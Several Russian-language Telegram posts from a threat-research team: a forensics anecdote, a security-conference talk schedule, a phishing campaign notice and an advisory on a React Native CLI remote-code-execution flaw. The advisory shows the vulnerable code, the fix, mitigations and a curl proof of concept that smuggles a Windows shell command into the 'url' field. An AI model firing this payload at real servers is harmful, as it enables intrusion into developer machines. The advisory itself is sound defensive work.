Атакующие не удалили эти метаданные. Поэтому с помощью LECmd.exe мы узнали SID пользователя и систему, на который был создан ярлык. Ее анализ позволил установить, что атакующим был внутренний нарушитель, который создал ярлык с помощью своей учетной записи и распространил его по инфраструктуре компании. Более того, мы нашли и другие файлы, которые также закрепляли вредоносную нагрузку.

🫡 Именно поэтому важно помнить о тех или иных тонкостях следообразования различных артефактов. И хотя многие атакующие знают о необходимости очистки метаданных в ярлыках и не только, встречаются ситуации, когда этого не происходит.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥19👍96👏5🤯1💯1👾1
⌛️ Регистрация на SOC Forum 2025 закрывается 7 ноября 

Приходите послушать доклады экспертов Solar 4RAYS. Вот, что мы приготовили.

🫡 IDFKA Backdoor: скрытая угроза Rust-имплантов в современных APT-атаках
18 ноября, 10:30, зал 3
Разберем ход расследования APT-кампании, в которой через уязвимость развернули неизвестный Rust-имплант с поддержкой множества сетевых режимов и сложной инфраструктурой C2. Поделимся выводами по реверсу Rust и детектированию угроз.


🫡 Змеиная Rustамания: новые инструменты Shedding Zmiy»
20 ноября, 11:30, зал 3
В одной из атак группировка Shedding Zmiy использовала вредоносные инструменты, написанные на Rust: Mycelium, Leech и Octopus. Эти утилиты — серьезная угроза для инфраструктуры жертвы. Расскажем об инструментах и методах, которые упростят технический анализ вредоносов на Rust.


🫡 (EDR) — Evading Detection to Ring 0
20 ноября, 12:45, зал 3
Рассмотрим варианты получения телеметрии в ОС Windows на каждом из уровней (EventLog/Sysmon/ETW/WinAPI Callbacks), а также приведем методы обхода каждого из них. Еще покажем методы детектирования подобного рода техник.


🫡 В джунглях персиста: изощренные техники закрепления
20 ноября, 13:45, зал 3
Работа DFIR-инженера — это не только проверка стандартных способов закрепления в системе, но и её глубокий анализ. Мы отправимся в глухие джунгли программ и компонентов, где обитают хитрые и нестандартные способы закрепления. Наш доклад — это отчет об экспедиции на эту опасную территорию.

 
А ещё приготовили наш традиционный квест с тасками Defense, Offense и Osint. Как обычно, правильные флаги обменяем на мерч.

Принять участие →
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥157🤝52💯1👾1
Фишинговая кампания Erudite Mogwai в России 👀

В мае 2025 года мы обнаружили интересную целевую фишинговую рассылку, в которой применялся не самый распространенный метод доставки вредоносных файлов — сервис одноразовых ссылок, принадлежащий организации-жертве.

После детального исследования обнаружили несколько аналогичных рассылок, которые проводились во второй половине 2024 года. Эти фишинговые рассылки мы отнесли к деятельности группировки Erudite Mogwai (Space Pirates).

Читайте подробности в нашей новой статье!
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍541🤔1💯1👾1
RCE в React Native CLI (CVE-2025-11953)

CVE-2025-11953 — уязвимость, которая позволяет неаутентифицированным пользователям выполнять произвольные команды оболочки (RCE) или запускать произвольные исполняемые файлы в пакете @react-native-community/cli-server-api версий с 4.8.0 по 20.0.0-alpha.2

😳 Метрики
Base Score: 9,8 (CRITICAL)
CWE: CWE-78


😳 Об уязвимости
Не подвержены уязвимости разработчики, которые используют React Native с фреймворком, но не берут Metro в качестве сервера разработки. В уязвимых версиях @react-native-community/cli-server-api функция openURLMiddleware содержит код:

async function openURLMiddleware(req: IncomingMessage, ...) {
if (req.method === 'POST') {

const {url} = req.body as {url: string};

await open(url);

}
next();
}
export default connect().use(json()).use(openURLMiddleware);


Значение параметра url, отправленного в JSON теле POST-запроса, предаётся в open() без надлежащий валидации.

Исправление:
    try {
const parsedUrl = new URL(url);
if (parsedUrl.protocol !== 'http:' && parsedUrl.protocol !== 'https:') {
res.writeHead(400);
res.end('Invalid URL protocol');
return;
}
} catch (error) {
res.writeHead(400);
res.end('Invalid URL format');
return;
}

await open(url);


Исправление проверяет, что параметр url означает именно URL в new URL с протоколом http/https в if (parsedUrl.protocol !== 'http:' && parsedUrl.protocol !== 'https:').

💡 Дополнительная особенность уязвимости — сервер по умолчанию будет прослушивать внешние соединения 0.0.0.0:[port].

Важно: поведение open() отличается между Windows и Unix подобными системами.

☀️ На Windows уязвимости RCE возникают из за формирования одной строковой команды. Например, cmd /c start "" /b cmd /c echo abc > c:\temp\pwned.txt.
☀️ На macOS/Linux open/xdg-open запускаются без shell и ожидает, что каждый аргумент будет отдельной строкой, но остаются другие риски (URI обработчики, file://, сетевые схемы).

Короче: Windows — риск RCE через командную строку, macOS/Linux — риск через URI обработчики и file:/// smb://.

Уязвимая конечная точка: /open-url.

😳 Пример эксплуатации RCE для Windows
curl -X POST http://metro-server-host:8081/open-url -H "Content-Type: application/json" -d "{\"url\":\"cmd /c echo abc ^> c:\\temp\\poc.txt\"}"


😳 Как защищаться
1) Обновиться.
2) Запускать сервер строго на localhost.
3) Написать блокирующее правило (IDS/WAF) на POST-запросы, которые идут к конечной точке /open-url, где в качестве значения параметра url передается строка отличная от http(s)://[domain].[exp].
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍4👀1👾1